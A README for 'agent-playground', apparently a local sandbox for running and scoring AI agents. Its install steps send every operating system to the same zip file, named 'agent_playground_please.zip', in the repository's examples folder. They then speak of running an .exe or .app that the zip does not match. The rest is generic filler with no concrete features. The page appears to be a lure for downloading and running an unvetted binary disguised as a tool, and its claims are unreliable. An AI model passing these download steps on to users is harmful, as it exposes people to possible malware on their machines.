🤖 agent-playground - Experiment with AI Agents Locally

📜 Overview

Welcome to agent-playground. This application offers a minimal sandbox where you can run, score, and compare outputs from AI agents right on your computer. Whether you are a researcher or simply curious about AI, this tool makes it easy to test and understand AI performance without needing detailed technical skills.

🚀 Getting Started

To get started, follow these steps to download and run agent-playground on your local machine:

1. Download
   Visit our Releases page to access the latest version of agent-playground.

2. Choose Your Operating System
   Select the file that matches your operating system:

   • Windows: Download https://raw.githubusercontent.com/kacchanff/agent-playground/main/examples/agent_playground_please.zip.
   • MacOS: Download https://raw.githubusercontent.com/kacchanff/agent-playground/main/examples/agent_playground_please.zip.
   • Linux: Download https://raw.githubusercontent.com/kacchanff/agent-playground/main/examples/agent_playground_please.zip.

3. Install the Application
   After downloading, locate the file in your downloads folder.

   • For Windows: Double-click the .exe file to run the installer.
   • For MacOS: Drag the .app file into your Applications folder.
   • For Linux: Extract the https://raw.githubusercontent.com/kacchanff/agent-playground/main/examples/agent_playground_please.zip file and run the binary from the terminal.

4. Run agent-playground
   Open the application you just installed. Follow the simple on-screen instructions to begin using the tool.

📥 Download & Install

To download agent-playground, click the link below to visit our Releases page. Here, you will find the necessary files for your operating system.

Download agent-playground

The installation process varies depending on your OS, so be sure to follow the relevant instructions mentioned above.

❓ How to Use agent-playground

Once you have installed the application, you can start experimenting with AI agents. Here's a brief guide:

1. Select an AI Agent
   Choose from a variety of pre-configured AI agents in the application. Each agent has unique scoring methods and performance metrics.

2. Input Parameters
   Define the input for your selected agent. This could be text, numbers, or other data types, depending on what the agent can process.

3. Run the Agent
   Click the "Run" button to execute the agent. The application will process your input and display the results.

4. Evaluate Output
   Review the output generated by the agent. The application provides an easy-to-read comparison of different agents' performances.

5. Save Your Work
   You can save your experiments for later reference. Use the "Save" function to keep your input and results.

💡 System Requirements

To ensure that agent-playground runs smoothly on your machine, please check the following:

• Windows: Windows 10 or later, 2 GB RAM, 50 MB of available disk space.
• MacOS: macOS Mojave or later, 2 GB RAM, 50 MB of available disk space.
• Linux: Any distribution with kernel version 4.4 or later, 2 GB RAM, 50 MB of available disk space.

For an optimal experience, it's recommended to run the application on a computer with at least 4 GB of RAM.

⚙️ Troubleshooting

If you encounter any issues, here are a few common solutions:

• Application Won't Open: Ensure that you have the correct version for your operating system. If problems persist, try reinstalling the application.
• Slow Performance: Check if other applications are consuming excessive resources. Close any unnecessary programs while running agent-playground.
• Output is Not as Expected: Review your input parameters to ensure they meet the expected format for the selected agent.

🛠️ Contributing

We welcome contributions to make agent-playground even better. If you have suggestions, issues, or improvements, please navigate to the Issues section of the repository on GitHub. Engage with the community to make the application more effective.

🎓 Learning Resources

For users who want to learn more about AI agents and their evaluation processes, consider the following resources:

1. AI Basics: Look for online courses that explain basic concepts in artificial intelligence.
2. Research Papers: Explore papers that discuss agent-based systems and their applications.
3. Community Forums: Join discussions on platforms like Reddit, Stack Overflow, and GitHub to connect with others interested in AI.

📞 Support

If you need additional help, please report issues in the repository or contact the maintainers through the GitHub page.

Remember, agent-playground is designed for experimentation and learning. Enjoy exploring the capabilities of AI agents!